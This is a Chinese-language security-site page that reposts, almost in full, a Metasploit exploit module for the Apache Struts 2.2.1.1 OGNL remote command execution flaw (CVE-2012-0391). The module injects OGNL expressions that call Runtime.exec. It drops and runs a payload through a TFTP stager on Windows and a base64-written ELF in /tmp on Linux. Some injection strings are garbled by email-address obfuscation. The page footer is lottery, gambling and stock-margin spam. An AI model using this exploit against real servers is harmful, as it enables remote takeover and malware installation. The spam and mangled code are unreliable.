Apache Struts 2.2.1.1遠程命令執行漏洞_安全漏洞聚焦_龍虎鷹師網安服務器維護基地--Powered by www.vqbhynr.com.cn

Apache Struts 2.2.1.1遠程命令執行漏洞

作者:龍虎鷹師網安Apache教程網 來源:龍虎鷹師網安Apache教程網 瀏覽次數:0

本篇關鍵詞:Apache
龍虎鷹師網安網訊:Apache Struts最新漏洞公布:Apache Struts 2.2.1.1遠程命令執行漏洞(Apache Struts

################################################################

# This file is part of the Metasploit Framework and may be subject to 

# redistribution and commercial restrictions. Please see the Metasploit 

# web site for more information on licensing and terms of use. 

#  http://metasploit.com/ 

################################################################ 

  
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote 

    Rank = ExcellentRanking 

  

    include Msf::Exploit::CmdStagerTFTP 

    include Msf::Exploit::Remote::HttpClient 

  

    def initialize(info = {}) 

        super(update_info(info, 

            'Name'           => 'Apache Struts <= 2.2.1.1 Remote Command Execution', 

            'Description'    => %q{ 

                    This module exploits a remote command execution vulnerability in

                Apache Struts versions < 2.2.1.1. This issue is caused because the 

                ExceptionDelegator interprets parameter values as OGNL expressions 

                during certain exception handling for mismatched data types of properties, 

                which allows remote attackers to execute arbitrary Java code via a 

                crafted parameter. 

            }, 

            'Author'         => 

                [ 

                    'Johannes Dahse', # Vulnerability discovery and PoC 

                    'Andreas Nusser', # Vulnerability discovery and PoC 

                    'juan vazquez', # Metasploit module 

                    'sinn3r' # Metasploit module 

                ], 

            'License'        => MSF_LICENSE, 

            'Version'        => '$Revision: $', 

            'References'     => 

                [ 

                    [ 'CVE', '2012-0391'], 

                    [ 'OSVDB', '78277'], 

                    [ 'EDB', '18329'], 

                    [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] 

                ], 

            'Platform'      => [ 'win', 'linux'], 

            'Privileged'     => true, 

            'Targets'        => 

                [ 

                    ['Windows Universal', 

                        { 

                                'Arch' => ARCH_X86, 

                                'Platform' => 'win'

                        } 

                    ], 

                    ['Linux Universal', 

                        { 

                                'Arch' => ARCH_X86, 

                                'Platform' => 'linux'

                        } 

                    ], 

                ], 

            'DisclosureDate' => 'Jan 06 2012', 

            'DefaultTarget' => 0)) 

  

            register_options( 

                [ 

                    Opt::RPORT(8080), 

                    OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), 

                    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) 

                ], self.class) 

    end

   def execute_command(cmd, opts = {}) 

  

        uri = String.new(datastore['TARGETURI']) 

        uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@[email protected]().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'

        uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@[email protected]().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'

        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) 

  

        vprint_status("Attempting to execute: #{cmd}") 

  

        resp = send_request_raw({ 

            'uri'     => uri, 

            'version' => '1.1', 

            'method'  => 'GET', 

        }, 5) 

   end

   def windows_stager 

        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

  

        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") 

        execute_cmdstager({ :temp => '.'}) 

        @payload_exe = payload_exe 

  

        print_status("Attempting to execute the payload...") 

        execute_command(@payload_exe) 

    end

   def linux_stager 

        cmds = "/bin/[email protected]@echo LINE | tee FILE"

        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) 

        base64 = Rex::Text.encode_base64(exe) 

        base64.gsub!(/\=/, "\\u003d") 

        file = rand_text_alphanumeric(4+rand(4)) 

  

        execute_command("/bin/[email protected]@touch /tmp/#{file}.b64") 

        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") 

        base64.each_line do |line| 

            line.chomp! 

            cmd = cmds 

            cmd.gsub!(/LINE/, line) 

            execute_command(cmds) 

        end

  

        execute_command("/bin/[email protected]@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") 

        execute_command("/bin/[email protected]@chmod +x /tmp/#{file}") 

        execute_command("/bin/[email protected]@rm /tmp/#{file}.b64") 

  

        execute_command("/bin/[email protected]@/tmp/#{file}") 

        @payload_exe = "/tmp/" + file 

    end

   def on_new_session(client) 

        if target['Platform'] == 'linux'

            print_status("Deleting #{@payload_exe} payload file") 

            execute_command("/bin/[email protected]@rm #{@payload_exe}") 

        else

            print_status("Windows does not allow running executables to be deleted") 

            print_status("Delete the #{@payload_exe} file manually after migrating") 

        end

    end

   def exploit 

        if not datastore['CMD'].empty? 

            print_status("Executing user supplied command") 

            execute_command(datastore['CMD']) 

            return

        end

  

        case target['Platform'] 

            when 'linux'

                linux_stager 

            when 'win'

                windows_stager 

            else

                raise RuntimeError, 'Unsupported target platform!'

        end

  

        handler 

    end

end

    龍虎鷹師網安服務器維護方案本篇連接:http://www.vqbhynr.com.cn/show-17260-1.html
網站維護教程更新時間:2012-09-12 00:12:48  【打印此頁】  【關閉
全站連接N點 | 龍虎鷹師網安 |  
專業服務器維護及網站維護手工安全搭建環境,網站安全加固服務。龍虎鷹師網安服務器維護基地招商進行中!請QQ:29769479

footer  footer  互聯網安全  footer    

山东体十一选五走势 11168期博彩老头 好运彩彩票网官方端口 迎客松配资 河南22选5今日开奖号码 股票行情软件 福建快3和值 三五图库香港35图库大全 黑龙江11选五一定牛电脑版 10bet娱乐城真人百家乐 湖北11选5第19061529期 我国股票涨跌颜色 双色球走势图(旧版) 哪个炒股平台好 河北快三一定牛 股票配资排名·选杨方配资专业 数字基带码型